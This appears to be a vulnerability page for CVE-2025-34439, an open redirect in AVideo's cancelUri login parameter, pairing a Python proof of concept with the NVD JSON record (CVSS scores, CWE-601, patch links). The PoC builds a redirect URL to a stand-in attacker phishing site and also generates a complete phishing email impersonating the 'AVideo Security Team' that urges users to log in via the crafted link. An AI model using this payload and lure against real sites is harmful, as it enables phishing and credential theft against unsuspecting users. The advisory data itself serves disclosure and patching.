CVE-2025-34439

import urllib.parse # CVE-2025-34439 PoC - AVideo Open Redirect via cancelUri Parameter # Author: VulnCheck # Target: AVideo < 20.1 def generate_open_redirect_payload(target_url, malicious_url): """ Generate malicious URL with open redirect payload Args: target_url: Base URL of vulnerable AVideo instance malicious_url: Attacker's controlled URL for redirection Returns: Malicious URL string """ encoded_malicious = urllib.parse.quote(malicious_url, safe='') # Construct the exploit URL with cancelUri parameter exploit_url = f"{target_url}/?redirectUri=1&cancelUri={encoded_malicious}" return exploit_url def generate_phishing_template(exploit_url): """ Generate phishing email/message template Args: exploit_url: The crafted exploit URL Returns: Phishing message template """ template = f""" Subject: Please verify your AVideo account Dear User, We have detected unusual activity on your AVideo account. Please verify your identity by logging in through the link below: {exploit_url} If you did not request this verification, please ignore this email. Best regards, AVideo Security Team """ return template # Example usage if __name__ == "__main__": target = "https://vulnerable-avideo-site.com" malicious = "https://attacker-controlled-site.com/phishing" exploit = generate_open_redirect_payload(target, malicious) print(f"Exploit URL: {exploit}") phishing_msg = generate_phishing_template(exploit) print(phishing_msg)

{"cve": {"id": "CVE-2025-34439", "sourceIdentifier": "[email protected]", "published": "2025-12-17T20:15:54.417", "lastModified": "2025-12-19T19:15:51.497", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "AVideo versions prior to 20.1 are vulnerable to an open redirect flaw due to missing validation of the cancelUri parameter during user login. An attacker can craft a link to redirect users to arbitrary external sites, enabling phishing attacks."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndExcluding": "20.0", "matchCriteriaId": "383A7EA7-DFBC-4127-981F-552BFD0B3CED"}]}]}], "references": [{"url": "https://chocapikk.com/posts/2025/avideo-security-vulnerabilities/", "source": "[email protected]"}, {"url": "https://github.com/WWBN/AVideo/commit/4a53ab2056", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/commit/88bc40427b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.vulncheck.com/advisories/avideo-open-redirect-via-canceluri-parameter", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}